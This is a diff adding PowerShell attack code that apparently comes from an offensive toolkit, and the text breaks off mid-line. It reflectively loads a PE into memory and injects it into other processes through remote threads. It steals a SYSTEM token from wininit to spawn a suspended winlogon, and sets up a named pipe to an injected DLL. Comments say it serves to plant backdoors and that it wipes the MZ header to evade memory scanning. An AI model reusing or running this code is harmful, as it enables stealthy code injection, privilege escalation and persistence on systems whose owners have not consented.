+ Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege + # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) + # { + # Write-Verbose "Getting SeDebugPrivilege" + # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + # } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main + } + + #Main function to either run the script locally or remotely + Function Main + { + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [Byte[]]$PEBytes = $null + + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + $PEBytes = $Bytes64 + } + else + { + $PEBytes = $Bytes32 + } + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } + } + + Main + } + + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + CREATE_SUSPENDED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $GetProcessIdAddr = Get-ProcAddress Kernel32.dll GetProcessId + $GetProcessIdDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $GetProcessId = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcessIdAddr, $GetProcessIdDelegate) + ############################### + + + #Get the primary token for the specified processId + #This function is taken from my script Invoke-TokenManipulation + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + #A modified version of this function from my script Invoke-TokenManipulation + #Creates the process suspended. Returns the ProcessID of the created process + function Create-SuspendedWinLogon + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken #The token to create the process with + ) + + $ProcessId = -1 + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$($env:windir)\system32\winlogon.exe") + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, [IntPtr]::Zero, $Win32Constants.CREATE_SUSPENDED, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + + $ProcessId = $GetProcessId.Invoke($ProcessInfo.hProcess) + + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $ProcessId + } + } + + + #Get the SYSTEM token and create a winlogon process with it, returns the process ID of the new WinLogon process + function Create-WinLogonProcess + { + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or $SystemTokenInfo.hProcToken -eq [IntPtr]::Zero) + { + Write-Warning "Unable to get SYSTEM token" + } + else + { + $ProcessId = Create-SuspendedWinLogon -hToken $SystemTokenInfo.hProcToken + if ($ProcessId -eq -1) + { + Throw "Unable to create suspended WinLogon process" + } + + Write-Verbose "Created suspended winlogon process. ProcessId: $ProcessId" + return $ProcessId + } + } + } + + + #Set up a named pipe to communicate with the injected DLL + function Create-NamedPipe + { + $PipeSecurity = new-object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "NT AUTHORITY\SYSTEM", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe=new-object System.IO.Pipes.NamedPipeServerStream("sqsvc","InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + return $Pipe + } + + + #Determine the parameterset being used to figure out if a new winlogon process needs to be created or not + if ($PsCmdlet.ParameterSetName -ieq "NewWinLogon") + { + #Start winlogon.exe as SYSTEM + $WinLogonProcessId = 